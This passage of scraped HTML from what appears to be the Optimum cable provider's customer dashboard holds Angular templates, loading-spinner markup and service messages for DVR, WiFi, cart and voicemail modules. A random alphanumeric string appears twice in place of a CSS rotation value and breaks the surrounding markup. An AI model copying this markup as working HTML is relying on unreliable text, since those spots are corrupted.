linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'dvr'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" 